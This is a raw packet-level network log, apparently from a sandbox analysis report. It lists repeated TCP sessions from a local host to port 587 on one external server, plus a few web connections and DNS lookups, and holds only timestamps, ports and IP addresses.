Mar 3, 2021 07:34:45.953469992 CET	49837	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:45.953702927 CET	587	49837	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:45.953758955 CET	49838	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:45.953788042 CET	49837	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:46.106245041 CET	587	49837	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:46.106273890 CET	587	49838	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:46.106780052 CET	49838	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:46.261409998 CET	587	49838	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:46.261698008 CET	49838	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:46.414546013 CET	587	49838	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:46.414943933 CET	49838	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:46.567972898 CET	587	49838	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:46.568259954 CET	49838	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:46.728792906 CET	587	49838	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:46.731178045 CET	49838	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:46.886564970 CET	587	49838	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:46.890733957 CET	49838	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:47.048625946 CET	587	49838	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:47.048841000 CET	49838	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:47.201589108 CET	587	49838	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:47.201618910 CET	587	49838	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:47.201936960 CET	49838	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:47.201987982 CET	49838	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:47.202044964 CET	49838	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:47.202054977 CET	49838	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:47.202111959 CET	49838	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:47.202117920 CET	49838	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:47.202142954 CET	49838	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:47.202147007 CET	49838	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:47.356256008 CET	587	49838	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:47.356286049 CET	587	49838	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:47.356298923 CET	587	49838	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:47.364666939 CET	587	49838	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:47.365448952 CET	49838	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:47.518516064 CET	587	49838	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:47.518954039 CET	587	49838	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:47.518964052 CET	49838	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:47.519010067 CET	49839	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:47.519058943 CET	49838	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:47.671015024 CET	587	49839	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:47.671130896 CET	49839	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:47.672887087 CET	587	49838	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:47.825413942 CET	587	49839	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:47.829420090 CET	49839	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:47.981077909 CET	587	49839	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:47.981437922 CET	49839	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:48.135529041 CET	587	49839	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:48.136063099 CET	49839	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:48.296371937 CET	587	49839	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:48.296586990 CET	49839	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:48.450247049 CET	587	49839	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:48.452943087 CET	49839	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:48.612354040 CET	587	49839	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:48.612788916 CET	49839	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:48.766228914 CET	587	49839	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:48.766273975 CET	587	49839	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:48.766747952 CET	49839	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:48.766784906 CET	49839	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:48.766792059 CET	49839	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:48.766798973 CET	49839	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:48.766874075 CET	49839	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:48.766880989 CET	49839	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:48.770484924 CET	49839	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:48.770509958 CET	49839	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:48.917516947 CET	587	49839	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:48.917538881 CET	587	49839	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:48.921497107 CET	587	49839	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:48.930594921 CET	587	49839	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:48.931802988 CET	49839	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:49.084508896 CET	587	49839	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:49.084816933 CET	587	49839	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:49.084902048 CET	49839	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:49.084940910 CET	49839	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:49.085117102 CET	49840	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:49.237036943 CET	587	49839	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:49.239006042 CET	587	49840	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:49.239191055 CET	49840	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:49.393733978 CET	587	49840	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:49.394078016 CET	49840	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:49.546837091 CET	587	49840	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:49.547053099 CET	49840	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:49.701488018 CET	587	49840	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:49.701729059 CET	49840	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:49.862065077 CET	587	49840	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:49.862226963 CET	49840	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:50.015299082 CET	587	49840	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:50.015481949 CET	49840	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:50.174143076 CET	587	49840	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:50.174355030 CET	49840	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:50.327263117 CET	587	49840	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:50.327296972 CET	587	49840	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:50.327533960 CET	49840	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:50.327589989 CET	49840	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:50.327619076 CET	49840	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:50.327666044 CET	49840	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:50.327697992 CET	49840	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:50.327709913 CET	49840	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:50.327734947 CET	49840	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:50.327749968 CET	49840	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:50.483041048 CET	587	49840	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:50.483072042 CET	587	49840	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:50.483098984 CET	587	49840	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:50.490812063 CET	587	49840	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:50.491667032 CET	49840	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:50.644570112 CET	587	49840	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:50.644856930 CET	49840	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:50.645090103 CET	587	49840	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:50.645281076 CET	49840	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:50.645284891 CET	49841	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:50.796113968 CET	587	49841	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:50.796442032 CET	49841	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:50.797549963 CET	587	49840	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:50.952172995 CET	587	49841	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:50.953129053 CET	49841	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:51.104326010 CET	587	49841	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:51.104784012 CET	49841	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:51.256254911 CET	587	49841	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:51.256560087 CET	49841	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:51.415138960 CET	587	49841	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:51.417157888 CET	49841	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:51.568742990 CET	587	49841	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:51.572864056 CET	49841	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:51.729919910 CET	587	49841	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:51.731422901 CET	49841	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:51.883898020 CET	587	49841	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:51.883944035 CET	587	49841	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:51.884233952 CET	49841	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:51.884273052 CET	49841	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:51.884288073 CET	49841	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:51.884352922 CET	49841	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:51.884438992 CET	49841	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:51.884454966 CET	49841	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:51.884464979 CET	49841	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:51.884493113 CET	49841	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:52.035279989 CET	587	49841	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:52.035312891 CET	587	49841	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:52.035325050 CET	587	49841	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:52.046113968 CET	587	49841	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:52.047055006 CET	49841	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:52.198472977 CET	587	49841	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:52.198616982 CET	49841	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:52.198898077 CET	49842	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:52.198899031 CET	587	49841	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:52.198960066 CET	49841	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:52.349575996 CET	587	49841	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:52.351547003 CET	587	49842	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:52.351666927 CET	49842	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:52.505955935 CET	587	49842	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:52.506129026 CET	49842	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:52.660554886 CET	587	49842	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:52.660903931 CET	49842	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:52.815453053 CET	587	49842	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:52.817507982 CET	49842	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:52.978348970 CET	587	49842	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:53.022929907 CET	49842	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:53.036539078 CET	49842	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:53.189856052 CET	587	49842	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:53.209475994 CET	49842	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:53.369354963 CET	587	49842	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:53.369673967 CET	49842	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:53.523770094 CET	587	49842	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:53.523797989 CET	587	49842	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:53.525002003 CET	49842	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:53.525048971 CET	49842	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:53.525072098 CET	49842	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:53.525151014 CET	49842	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:53.525218010 CET	49842	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:53.525271893 CET	49842	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:53.525276899 CET	49842	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:53.525279999 CET	49842	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:53.680574894 CET	587	49842	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:53.680599928 CET	587	49842	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:53.680609941 CET	587	49842	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:53.689161062 CET	587	49842	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:53.689990997 CET	49842	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:53.843169928 CET	587	49842	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:53.843674898 CET	587	49842	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:53.843838930 CET	49842	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:53.843915939 CET	49842	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:53.844288111 CET	49843	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:53.995074034 CET	587	49843	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:53.996571064 CET	587	49842	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:53.996788979 CET	49843	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:54.149152994 CET	587	49843	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:54.194894075 CET	49843	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:54.282416105 CET	49843	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:54.433587074 CET	587	49843	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:54.434129953 CET	49843	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:54.585253000 CET	587	49843	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:54.585628986 CET	49843	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:54.744163036 CET	587	49843	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:54.744417906 CET	49843	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:54.895581961 CET	587	49843	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:54.895817041 CET	49843	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:55.051697016 CET	587	49843	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:55.101241112 CET	49843	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:55.431185007 CET	49843	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:55.582067966 CET	587	49843	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:55.582092047 CET	587	49843	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:55.632497072 CET	49843	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:55.652178049 CET	49843	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:55.652218103 CET	49843	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:55.652229071 CET	49843	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:55.652260065 CET	49843	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:55.652282000 CET	49843	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:55.652299881 CET	49843	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:55.652303934 CET	49843	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:55.652308941 CET	49843	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:55.803200960 CET	587	49843	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:55.803232908 CET	587	49843	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:55.803241014 CET	587	49843	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:55.811168909 CET	587	49843	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:55.812707901 CET	49843	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:55.963831902 CET	587	49843	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:55.963998079 CET	49843	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:55.964293003 CET	49844	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:55.964498997 CET	587	49843	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:55.964564085 CET	49843	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:56.114667892 CET	587	49843	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:56.116938114 CET	587	49844	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:56.117070913 CET	49844	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:56.271795988 CET	587	49844	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:56.272034883 CET	49844	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:56.425571918 CET	587	49844	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:56.425765038 CET	49844	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:56.578999996 CET	587	49844	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:56.579298973 CET	49844	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:56.741213083 CET	587	49844	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:56.741581917 CET	49844	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:56.897538900 CET	587	49844	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:56.897792101 CET	49844	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:57.057764053 CET	587	49844	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:57.057960987 CET	49844	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:57.210669041 CET	587	49844	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:57.210700035 CET	587	49844	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:57.211074114 CET	49844	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:57.211141109 CET	49844	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:57.211188078 CET	49844	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:57.211271048 CET	49844	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:57.211388111 CET	49844	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:57.211467028 CET	49844	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:57.211538076 CET	49844	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:57.211560965 CET	49844	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:57.363761902 CET	587	49844	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:57.363826990 CET	587	49844	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:57.363912106 CET	587	49844	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:57.372374058 CET	587	49844	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:57.373661995 CET	49844	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:57.577372074 CET	587	49844	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:57.577555895 CET	49844	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:57.577702045 CET	587	49844	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:57.577753067 CET	49844	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:57.577869892 CET	49845	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:57.627512932 CET	49795	443	192.168.2.4	13.225.80.53
Mar 3, 2021 07:34:57.627737045 CET	49794	80	192.168.2.4	13.225.80.63
Mar 3, 2021 07:34:57.631479979 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:34:57.729206085 CET	587	49845	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:57.729351044 CET	49845	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:57.730214119 CET	587	49844	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:57.741869926 CET	49805	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:34:57.743341923 CET	49799	80	192.168.2.4	13.225.80.63
Mar 3, 2021 07:34:57.882127047 CET	587	49845	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:57.887849092 CET	49845	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:58.039181948 CET	587	49845	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:58.041667938 CET	49845	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:58.193905115 CET	587	49845	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:58.194154978 CET	49845	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:58.356935024 CET	587	49845	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:58.357927084 CET	49845	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:58.509547949 CET	587	49845	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:58.509916067 CET	49845	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:58.666127920 CET	587	49845	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:58.666390896 CET	49845	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:58.819947004 CET	587	49845	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:58.819977999 CET	587	49845	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:58.820314884 CET	49845	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:58.820353985 CET	49845	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:58.820379019 CET	49845	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:58.820435047 CET	49845	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:58.820480108 CET	49845	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:58.820501089 CET	49845	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:58.820523024 CET	49845	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:58.820545912 CET	49845	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:58.971637964 CET	587	49845	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:58.971658945 CET	587	49845	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:58.971668005 CET	587	49845	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:58.979617119 CET	587	49845	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:58.980289936 CET	49845	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:59.131880999 CET	587	49845	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:59.132137060 CET	49845	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:59.132173061 CET	587	49845	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:59.132236958 CET	49845	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:59.132966995 CET	49846	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:59.283385038 CET	587	49845	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:59.295638084 CET	587	49846	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:59.295850992 CET	49846	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:59.460275888 CET	587	49846	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:59.460963011 CET	49846	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:59.623734951 CET	587	49846	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:59.624133110 CET	49846	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:59.788136005 CET	587	49846	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:59.788568020 CET	49846	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:34:59.959078074 CET	587	49846	35.208.150.174	192.168.2.4
Mar 3, 2021 07:34:59.959314108 CET	49846	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:35:00.122283936 CET	587	49846	35.208.150.174	192.168.2.4
Mar 3, 2021 07:35:00.122529984 CET	49846	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:35:00.290241003 CET	587	49846	35.208.150.174	192.168.2.4
Mar 3, 2021 07:35:00.290431023 CET	49846	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:35:00.453207970 CET	587	49846	35.208.150.174	192.168.2.4
Mar 3, 2021 07:35:00.453241110 CET	587	49846	35.208.150.174	192.168.2.4
Mar 3, 2021 07:35:00.453531027 CET	49846	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:35:00.453556061 CET	49846	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:35:00.453568935 CET	49846	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:35:00.453572989 CET	49846	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:35:00.453596115 CET	49846	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:35:00.453728914 CET	49846	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:35:00.453737020 CET	49846	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:35:00.454235077 CET	49846	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:35:00.618912935 CET	587	49846	35.208.150.174	192.168.2.4
Mar 3, 2021 07:35:00.618937969 CET	587	49846	35.208.150.174	192.168.2.4
Mar 3, 2021 07:35:00.618954897 CET	587	49846	35.208.150.174	192.168.2.4
Mar 3, 2021 07:35:00.627250910 CET	587	49846	35.208.150.174	192.168.2.4
Mar 3, 2021 07:35:00.627830982 CET	49846	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:35:00.790875912 CET	587	49846	35.208.150.174	192.168.2.4
Mar 3, 2021 07:35:00.790994883 CET	49846	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:35:00.791213036 CET	49847	587	192.168.2.4	35.208.150.174
Mar 3, 2021 07:35:00.791264057 CET	587	49846	35.208.150.174	192.168.2.4
Mar 3, 2021 07:35:00.791451931 CET	49846	587	192.168.2.4	35.208.150.174

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 3, 2021 07:32:25.407208920 CET	59123	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:32:25.457514048 CET	53	59123	8.8.8.8	192.168.2.4
Mar 3, 2021 07:32:25.519504070 CET	54531	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:32:25.568794966 CET	53	54531	8.8.8.8	192.168.2.4
Mar 3, 2021 07:32:26.184900999 CET	49714	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:32:26.230705976 CET	53	49714	8.8.8.8	192.168.2.4
Mar 3, 2021 07:32:27.350651026 CET	58028	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:32:27.396541119 CET	53	58028	8.8.8.8	192.168.2.4
Mar 3, 2021 07:32:28.455048084 CET	53097	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:32:28.512171984 CET	53	53097	8.8.8.8	192.168.2.4
Mar 3, 2021 07:32:29.608160973 CET	49257	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:32:29.654098988 CET	53	49257	8.8.8.8	192.168.2.4
